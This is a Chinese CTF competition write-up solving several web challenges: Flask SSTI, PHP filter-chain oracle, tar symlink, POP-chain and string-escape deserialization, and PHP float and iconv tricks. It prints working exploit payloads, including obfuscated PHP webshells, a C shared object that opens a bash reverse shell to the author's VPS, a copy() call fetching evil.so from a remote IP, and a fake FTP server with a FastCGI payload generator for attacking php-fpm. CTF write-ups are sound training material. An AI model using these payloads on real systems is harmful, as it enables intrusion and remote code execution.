WP部分 这次是单人队伍,第9名,其中web方向前两天ak,第三天俩零解拼劲全力无法战胜。
easy_flask 我们从最简单的开始。
这题无过滤SSTI,但为了防止小白不会,我贴一下过程。
首先
{{7*7}}
发现输出为49,到这里确诊为flask的SSTI
{{[].__class__.__base__.__subclasses__()}}
把输出的那一坨放到这里跑
1 2 3 4 5 6 7 8 9 10 11 12 13 import re data = r''' [<class 'type'>, <class 'weakref'>, ......] # 放这里!!!!!!!!! ''' userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec'] pattern = re.compile(r"'(.*?)'") class_list = re.findall(pattern, data) for c in class_list: for i in userful_class: if i in c: print(str(class_list.index(c)) + ": " + c)
可以去看https://www.cnblogs.com/LAMENTXU/articles/18442823
发现索引为216的是warning那个类,直接抄payload打
payload为:{{[].__class__.__base__.__subclasses__()[216].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat%20flag').read()")}}
fenjing梭也行
flag{48ad0cde8345c8b2608933ac4e85147e}
file_copy 黑盒,但是可以猜测到后端是copy()。支持php伪协议,无回显。
测一下/flag,发现有东西。接下来就是纯套路了,这里基本确诊是oracle泄露
拿脚本梭了。https://github.com/ProbiusOfficial/PHPinclude-labs/tree/bbb08b030623d481be51edea063433b8d77b2ee7/Level 17/php_filter_chains_oracle_exploit-main
flag{60c19a59-d47b-417b-8bee-e862f052d16d}
Gotar 这里相信各位师傅都能看出来是软链接的题吧(file.go extractTar调用了该依赖库实现解压tar包,还无过滤)。唯一的坑点在于为什么不能直接在download访问。这可能是因为download中的关于数据库的一些操作遇到了软链接导致报错。
因为assets是开放目录可以直接访问,所以download这个功能纯属意义不明。直接可以在assets/extracted/里看到上传的文件。
这里预期解应该包含读取jwt的sercetkey的文件.env,但是由于出题人的一个小失误可以直接读取到/flag。其实这里可以设置一个更加复杂的flag文件名什么的
ln -sf /flag 2/flag tar cf flag.tar 2/flag
有一个小坑点注意一下。tar从一定版本后会开始自动优化参数中的../,因此,如果你的payload为ln -sf ../../env 2/flag 最好在前面加一个-P
将上述文件提交,访问/assets/extracted/flag即可
flag{b1f79e3a-12f5-46d5-9574-d09068a3ecca}
第一天比较简单,没啥好解释的其实。这道题因为缺少复现环境暂时没法很详细的写,后面会补齐
easy_ser 我们来看POP链子。由题前面的链子可以很容易构造出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php class STU{ public $stu; public function __construct($stu){ $this->stu = $stu; } public function __invoke(){ echo $this->stu; } } class SDU{ public $Dazhuan; public function __wakeup(){ $Dazhuan = $this->Dazhuan; $Dazhuan(); } } class CTF{ public $hackman; public $filename; public function __toString(){ $data = Base64Decode($this->hackman); $filename = $this->filename; if (PassWAF1($data)) { echo "so dirty"; return; } if (PassWAF3($filename)) { echo "just so so?"; return; } file_put_contents($filename, PassWAF2($data)); echo "hack?"; return "really!"; } public function __destruct(){ echo "bye"; } } $a = new SDU(); $a->Dazhuan = new STU(new CTF()); $a->Dazhuan->stu = new CTF(); echo serialize($a); ?>
而后,我们要想怎么写入一句话木马。
可以把WAF2单独拎出来写个demo测试一下。可以使用一句话木马,<? `$_GET[1]`;?>这时?>会刚好被截断到下一行去。(环境关了,我也没源码,后面会补齐)
上述脚本中加上
1 2 $a->Dazhuan->stu->hackman = base64_encode("<? `\$_GET[1]`;?>"); $a->Dazhuan->stu->filename = "a.php";
然而,另一种很抽象的做法是使用php的多行注释,即/**/将多于信息注释掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php class STU{ public $stu; public function __construct($stu){ $this->stu = $stu; } public function __invoke(){ echo $this->stu; } } class SDU{ public $Dazhuan; public function __wakeup(){ $Dazhuan = $this->Dazhuan; $Dazhuan(); } } class CTF{ public $hackman; public $filename; public function __toString(){ $data = Base64Decode($this->hackman); $filename = $this->filename; if (PassWAF1($data)) { echo "so dirty"; return; } if (PassWAF3($filename)) { echo "just so so?"; return; } file_put_contents($filename, PassWAF2($data)); echo "hack?"; return "really!"; } public function __destruct(){ echo "bye"; } } $a = new SDU(); $a->Dazhuan = new STU(new CTF()); $a->Dazhuan->stu = new CTF(); $a->Dazhuan->stu->hackman = base64_encode("<?php \$a='ca';/**/\$a.='ll_us';/**/\$a.='er_fu';/**/\$a.='nc'; /**/\$a(\$_GET[1],/**/\$_GET[2]);?>"); $a->Dazhuan->stu->filename = "a.php"; echo serialize($a); ?>
这样的话中间的垃圾信息就成为了/**/和/**/中间的东西,就不会被当作代码解析。
1 O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7:"hackman";s:128:"PD9waHAgJGE9J2NhJzsvKiovJGEuPSdsbF91cyc7LyoqLyRhLj0nZXJfZnUnOy8qKi8kYS49J25jJzsgICAvKiovJGEoJF9HRVRbMV0sLyoqLyRfR0VUWzJdKTs/Pg==";s:8:"filename";s:5:"a.php";}}}
提交即可
访问a.php
flag{f44ab7d7195a1f156aa2fbc1ceba61ec}
b0okshelf 终于到这题了吗哈哈哈哈哈哈。
可以的,首先这里是一个很经典的反序列化逃逸,具体信息可以去看官方wp,我这里主要讲解非预期部分
我的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php class Book { public $id; public $title; public $author; public $summary; public $reader; } class Reader { public function __construct($location) { $this->location = $location; } private $location; public function getContent() { return file_get_contents($this->location); } public function setContent($content) { file_put_contents($this->location, $content); } } function waf($data) { return str_replace("'", "\\'", $data); } $x = new Book(); $x->title = "title"; $x->author = "author"; $x->summary = ""; for($i=0; $i<69; $i++){ $x->summary .= "'"; } $x->summary .= urldecode("%22%3Bs%3A6%3A%22reader%22%3BO%3A6%3A%22Reader%22%3A1%3A%7Bs%3A16%3A%22%00Reader%00location%22%3Bs%3A5%3A%221%2ephp%22%3B%7D%7D"); echo urlencode($x->summary); $x->reader = new Reader('akakakaka'); $unx = unserialize(waf(serialize($x))); var_dump($unx); // echo "\n"; // echo strlen(urldecode("%22%3Bs%3A6%3A%22reader%22%3BO%3A6%3A%22Reader%22%3A1%3A%7Bs%3A16%3A%22%00Reader%00location%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D"));
随后将内容修改为一句话木马即可
访问1.php。拿到一个eval。然后发现有disable_functions。还有open_basedir的限制。
绕过open_basedir可以看:
https://www.cnblogs.com/LLeaves/p/13210005.html#五-利用ini_set读取文件内容
抄payload打,发现能绕过去
读取到根目录
可以使用file_get_contents读取到/etc/passwd
但是读不到/flag呜呜呜,这里要求有高权限。猜测是要RCE提权了。
这里官方wp是通过cnext打,也有用蚁剑插件直接梭的。我在这两个之间选了一个完全搭不上边的解法。php-fpm被动模式RCE
首先讲讲原理。在这题里file_get_contents和file_put_contents都是没有被ban的。因此,我们可以用这个来发动攻击。hmmmm,问题在于没有回显,而且需要提权RCE,所以oracle什么的就别想了,一定要弹shell。
1 2 3 <?php $contents = file_get_contents($_GET['1']); file_put_contents($_GET['1'], $contents);
这是一份漏洞代码,我知道你有八百种办法攻击他。别急,在万千种伪协议里,你有没有想过,或者哪怕看ftp://一眼呢
如果我们使用ftp://evil/1.txt,那么这个服务器就会从evil这个服务器上下载1.txt(file_get_contents)并且,将1.txt传回去(file_put_contents)
可不可以用这个来攻击php的中间件fpm呢?
可以先去看看https://github.com/gjzxyb/MiscSecNotes-CTF/blob/master/%E6%BC%8F%E6%B4%9E%E7%A7%91%E6%99%AE/PHP-FPM%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
当我们在file_get_contents里输入ftp协议的时候,往里面放一个fastcgi的payload,这个payload会导致fpm加载一个恶意so文件。服务器就会拿着这个payload与我们开一个ftp链接,我们当然不是要去给它传文件,甚至不需要启动一个FTP服务器,直接写一个socket脚本,不用管它的请求啊什么的(已读乱回),直接告诉他,OK你连上一个FTP服务器了,现在要你输密码(发来不知道什么鬼)OK你密码正确,你过关,然后告诉它,切换到binary mode,你未授权了,我们进被动模式聊吧,给你发个链接点一下,我们借一步说话。(发送127.0.0.1:fpm的端口,这就是在SSRF了!)随后服务器就会傻傻地把我们的payload传给fpm。于是fpm就去加载一个恶意的so,这个so可以是我们提前上传并设置好的反弹shell的so,然后,我们只需要开启监听就好啦
bingo!是不是很简单?我们来试试吧!
首先先看nginx.conf,确认fpm端口
fpm开着的,端口为9000号,index是index.php。靶机上线。
先写一个伪造的ftp服务器,已读乱回,反正我不管你怎么样我就发信息就完了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n') #Service ready for new user. #Client send anonymous username #USER anonymous conn.send(b'331 Please specify the password.\n') #User name okay, need password. #Client send anonymous password. #PASS anonymous conn.send(b'230 Login successful.\n') #User logged in, proceed. Logged out if appropriate. #TYPE I conn.send(b'200 Switching to Binary mode.\n') #Size / conn.send(b'550 Could not get the file size.\n') #EPSV (1) conn.send(b'150 ok\n') #PASV conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) #就是这里,把服务器骗去fpm conn.send(b'150 Permission denied.\n') #QUIT conn.send(b'221 Goodbye.\n') conn.close()
在服务器上启动该脚本,随后我们就在服务器的1234号端口上启动了一个”FTP服务”
接下来,写一个c文件:
1 2 3 4 5 6 7 8 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void){ system("bash -c 'bash -i >& /dev/tcp/你的VPS/1233 0>&1'"); }
内容就是,当被当作so文件加载时,反弹一个shell到1233端口
随后,编译为so
1 gcc evil.c -fPIC -shared -o evil.so
接下来起一个web服务(python3 -m http.server 8777)准备上传这个文件。因为服务器出网,这里使用copy函数。如图:
1 /1.php?1=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://101.43.48.199:8777/evil.so","/tmp/evil.so");
可以看到传上去了
非常好!我们进行下一步。
接下来,我们构造一个恶意的fastcgi请求攻击fpm,让它加载我们的so文件。
使用网上的脚本构造即可。(参数给你改好了,只用改端口就行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 <?php /** * Note : Code is released under the GNU LGPL * * Please do not change the header of this file * * This library is free software; you can redistribute it and/or modify it under the terms of the GNU * Lesser General Public License as published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. */ /** * Handles communication with a FastCGI application * * @author Pierrick Charron <pierrick@webstart.fr> * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; // $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); echo('?file=ftp://101.43.48.199:1234/&data='.urlencode($request)); // fwrite($this->_sock, $request); // do { // $resp = $this->readPacket(); // if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { // $response .= $resp['content']; // } // } while ($resp && $resp['type'] != self::END_REQUEST); // var_dump($resp); // if (!is_array($resp)) { // throw new Exception('Bad request'); // } // switch (ord($resp['content']{4})) { // case self::CANT_MPX_CONN: // throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); // break; // case self::OVERLOADED: // throw new Exception('New request rejected; too busy [OVERLOADED]'); // break; // case self::UNKNOWN_ROLE: // throw new Exception('Role value not known [UNKNOWN_ROLE]'); // break; // case self::REQUEST_COMPLETE: // return $response; // } } } ?> <?php // real exploit start here //if (!isset($_REQUEST['cmd'])) { // die("Check your input\n"); //} //if (!isset($_REQUEST['filepath'])) { // $filepath = __FILE__; //}else{ // $filepath = $_REQUEST['filepath']; //} $filepath = "/var/www/html/index.php"; $req = '/'.basename($filepath); $uri = $req .'?'.'command=whoami'; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything $php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录 $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=whoami', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => 'ctfking/Tajang', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9000', // 找准服务端口 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?>
运行,拿到payload
随后上传一个靶子
1 2 3 4 5 6 <?php $file = $_GET['file'] ?? '/tmp/file'; $data = $_GET['data'] ?? ':)'; echo($file."</br>".$data."</br>"); var_dump(file_put_contents($file, $data)); ?>
把这玩意用so上传的同款方法传到/var/www/html/file.php,给我们当靶子用。
VPS启动nc监听1233端口。保持1234端口的“ftp”服务,拿着生成的payload访问file.php。接下来闭眼等待奇迹的发生……
这时候,你会突然发现自己1234的服务结束了,这说明恶意payload被传到了php fpm。它加载了你的so……
回到nc的监听一看,鱼儿已经上钩
接下来看权限文件,发现没什么特殊的,就来看sudo -l
发现一个NOPASSWD的程序。通过搜索可以知道/bin/date的-f参数可以读取日期文件。
我们是不是可以用这个读取flag呢?
精彩!
flag{4ce454c0-69a9-4898-89ca-3cb8d3c12728}
easy_php 这题出糊了。
注意到file.php没有过滤/flag,可以直接读取。根本不需要phar反序列化 /file.php?file=/flag 获得flag
flag{a16dcb7549915546893a27a6d7927615}
ez_code /robots.txt发现有gogogo.php。访问,得到源码
先绕ctfer。
这里存在一个浮点精度的问题。在php中,有:
1 2 3 4 <?php $a = 666.999999999999999999999; echo $a==667; ?>
当浮点数精度过高,会导致上溢。
因此,使用ctfer=666.99999999999999999即可绕过。
随后,Cookie传pass=admin
随后,使用php伪协议读取。这里编码用iconv的都可以。随便选一个经典的convert.iconv.UCS-4LE.UCS-4BE链 gogogo.php?ctfer=666.99999999999999999&file=php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=read.php
读取到
Ctrl+U
随后使用php的iconv函数解密即可
1 2 3 <?php echo iconv('UCS-4BE', 'UCS-4LE', "hp?<f$ p galZ\" =ZhxmOkt3YlFTZzITNykTZwI2YkJTN2E2NyYDNmNGN4MGYjdj\"=0X"); ?>
base64解码出
flag{d91ea23e927b0e2dca64624cf4c867ca}
能看到这里,辛苦你了~